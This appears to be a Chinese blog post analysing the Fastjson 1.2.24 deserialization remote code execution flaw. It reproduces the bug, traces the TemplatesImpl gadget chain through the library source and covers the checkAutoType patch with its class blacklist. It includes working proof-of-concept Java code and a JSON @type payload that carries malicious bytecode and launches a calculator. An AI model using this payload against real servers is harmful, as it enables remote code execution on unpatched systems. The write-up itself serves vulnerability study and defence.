Fastjson 反序列化漏洞分析

零、前言

Fastjson是由alibaba开源的一款第三方库,可以实现Json和Java Object的相互转换,其中Json转换成Java Object的方法是反序列化的过程。

一、漏洞复现

环境

操作系统:Windows10
Jdk:1.8.0_202
FastJson:1.2.24

新建一个Cmd类,里面是代码执行的操作,例子中为弹出一个计算器

package exploit;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Cmd extends AbstractTranslet {
    public Cmd() throws IOException {
        Runtime.getRuntime().exec("calc");
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
    }
//    @Override
    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {
    }
    public static void main(String[] args) throws Exception {
        Cmd t = new Cmd();
    }
}

然后新建一个Poc类,通过Fastjson触发上面的命令执行

package exploit;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import org.apache.commons.io.IOUtils;
import org.apache.commons.codec.binary.Base64;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;


public class Poc {
    public static String readClass(String cls){
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        try {
            IOUtils.copy(new FileInputStream(new File(cls)), bos);
        } catch (IOException e) {
            e.printStackTrace();
        }
        return Base64.encodeBase64String(bos.toByteArray());
    }
    public static void  test_autoTypeDeny() throws Exception {
        ParserConfig config = new ParserConfig();;
        final String evilClassPath = System.getProperty("user.dir") + "\\target\\classes\\exploit\\Cmd.class";
        String evilCode = readClass(evilClassPath);
        final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        String text1 = "{\"@type\":\"" + NASTY_CLASS +
                "\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }," +
                "\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n";
        System.out.println(text1);

        Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
        //assertEquals(Model.class, obj.getClass());
    }
    public static void main(String args[]){
        try {
            test_autoTypeDeny();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

执行效果

二、漏洞分析

在正式分析之前要先理解Fastjosn的工作过程,我们新建一个User类

package test;
import com.alibaba.fastjson.JSON;
import java.util.Properties;
public class User {
    public String name;
    private int age;
    private Boolean sex;
    private Properties prop;
    public User(){
        System.out.println("User() is called");
    }
    public void setAge(int age){
        System.out.println("setAge() is called");
        this.age = age;
    }
    public Boolean getSex(){
        System.out.println("getGrade() is called");
        return this.sex;
    }
    public Properties getProp(){
        System.out.println("getProp() is called");
        return this.prop;
    }
    public String toString(){
        String s = "[User Object] name=" + this.name + ", age=" + this.age + ", prop=" + this.prop + ", sex=" + this.sex;
        return s;
    }
    public static void main(String[] args){
        String jsonstr = "{\"@type\":\"test.User\", \"name\":\"Tom\", \"age\": 13, \"prop\": {}, \"sex\": 1}";
        Object obj = JSON.parseObject(jsonstr, User.class);
        System.out.println(obj);
    }
}

这段代码就是在模拟Json字符串转换成User对象的过程,执行结果为:

User() is called
setAge() is called
getProp() is called
[User Object] name=Tom, age=13, prop=null, sex=null

@type用来指定Json字符串还原成哪个类对象,在反序列化过程中里面的一些函数被自动调用,Fastjson会根据内置策略选择如何调用这些函数,在文件com.alibaba.fastjson.util.JavaBeanInfo中定义了具体的策略,对于set函数主要有这几个条件:

if (methodName.length() < 4) {
    continue;
}
if (Modifier.isStatic(method.getModifiers())) {
    continue;
}
// support builder set
if (!(method.getReturnType().equals(Void.TYPE) || method.getReturnType().equals(method.getDeclaringClass()))) {
    continue;
}
Class<?>[] types = method.getParameterTypes();
if (types.length != 1) {
    continue;
}
... ...
if (!methodName.startsWith("set")) { // TODO "set"的判断放在 JSONField 注解后面,意思是允许非 setter 方法标记 JSONField 注解?
    continue;
}

也就是:

1、方法名长度大于等于4且以set开头
2、方法不能为静态方法
3、方法的类型为void或者为类自身的类型
4、参数个数为1

对于get函数:

if (methodName.length() < 4) {
    continue;
}

if (Modifier.isStatic(method.getModifiers())) {
    continue;
}

if (methodName.startsWith("get") && Character.isUpperCase(methodName.charAt(3))) {
    if (method.getParameterTypes().length != 0) {
        continue;
    }

    if (Collection.class.isAssignableFrom(method.getReturnType()) //
        || Map.class.isAssignableFrom(method.getReturnType()) //
        || AtomicBoolean.class == method.getReturnType() //
        || AtomicInteger.class == method.getReturnType() //
        || AtomicLong.class == method.getReturnType() //
    ) 
    ... ...
}

也就是

1、方法名长度大于等于
2、方法名以get开头且第四个字母为大写
3、方法不能为静态方法
4、方法不能有参数
5、方法的返回值必须为Collection、Map、AtomicBoolean、AtomicInteger、AtomicLong之一

在普通的Java反序列化漏洞中自动执行的函数readObject,我们会利用readObject自动的代码构造调用链,同理在Fastjson中也是通过这些可以自动调用的函数进行命令执行。在Poc中,我们利用了com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl这个类来构造调用链,接下来我们跟踪一下执行过程。我们在parseObject的位置下断点

然后进入到JSON类中的parseObject函数

然后又在JSON中的339行调用DefaultJSONParser的parseObject函数

T value = (T) parser.parseObject(clazz, null);

在DefaultJSONParser的parseObject函数的639行开始对输入的数据进行反序列化操作

其中this存储了输入的数据

然后跟进到JavaObjectDeserializer的deserialze函数

在最后一行又跳转到DefaultJSONParser的parse函数,这里会根据lexer的token选择相应的解析函数,此时token为12

LBRACE为12,表示“{”

因此进入LBRACE分支,调转到同文件的parseObject函数

这里会对字符串中的字段进行解析,scanSymbol就是将第二个参数(也就是双引号)中间的参数识别出来,比如第一个字段的key “@type”就被识别出来

然后后面开始识别json字符串的value的值,对于@type来说,其值就是我们设定的class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

可以看到这里获取了TemplatesImpl的路径,并使用loadClass对其进行加载,然后在同文件的367行声明一个deserializer,我们跟进config.getDeserializer

可以看到在加载类的时候有一个黑名单检测,denyList中的都会拒绝加载

再一直往下跟,461行调用了createJavaBeanDeserializer函数

526行调用了JavaBeanInfo.build,这里会通过反射获取类的信息用于反序列化操作

下面获取了类里面所有的方法,后面会根据方法名提取字段名,然后存储到fieldList中

后面对所有的method筛选一遍,依据就是我们前面讲的几个条件

在判断get方法的时候会有下面这个进一步的判断返回值类型,getOutputProperties的返回值类型为Properties,继承自Hashtable,属于Map,因此可以通过判断

然后在下面几行根据method的名称,推断出对应的属性名称

最后将属性名、方法名、类等信息添加到fieldList

经过处理后提取了三个属性

然后层层跳转,回到DefaultJSONParser 中的368行,进入JavaBeanDeserializer中的deserialze函数,这里首先会对所有属性做匹配,总之都巧妙地避开了所有匹配条件

sortedFieldDeserializers存储了前面说的那三个属性和方法

然后在这里提取出_bytecodes

在570开始创建TemplatesImpl的实例,然后返回一个object变量

然后600行进入parseField

然后进入到DefaultFielDeserializer中的parseField

然后71行获得value的值

再往下执行到83进行setValue操作,这里就是给我们实例化的TemplatesImpl对象的属性进行赋值,前面经过处理获得了三个属性名,只有当属性名为outputProperties的时候才会触发命令执行

跟到setValue中,这里面会调用getOutputProperties函数

然后我们看TemplatesImpl中的getOutputProperties

跟进到newTransformer函数

再跟进到getTransletInstance函数

这里首先会执行defineTransletClasses函数,它的作用从_bytecodes字段中获取类对象

然后在getTransletInstance函数中的455行对获取的类对象进行实例化,这样我们定义在Cmd.java构造函数中的代码就会被执行

实际上构造利用链的思路就是寻找一个类,它的某个函数满足Fastjson自动调用的条件,同时函数的执行过程会有类的实例化、反射等能够实现命令执行的操作。

 

三、漏洞修复

官方补丁使用checkAutoType来进行漏洞的防御,它是ParserConfig中的新加入的函数,在类的加载过程中做了替换

- Class<?> clazz = TypeUtils.loadClass(typeName, config.getDefaultClassLoader());
+ Class<?> clazz = config.checkAutoType(typeName);

checkAutoType首先检测是否开启autoType,然后检测要加载的类是否在黑名单中,只要类的开头一部分的字符串命中即可,黑名单如下

bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework

在之后的各个版本的补丁绕过和升级主要就是围绕这个checkAutoType函数来做的。

 

四、参考文献

http://xxlegend.com/2017/04/29/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/

https://www.freebuf.com/vuls/178012.html

发表回复

您的电子邮箱地址不会被公开。 必填项已用*标注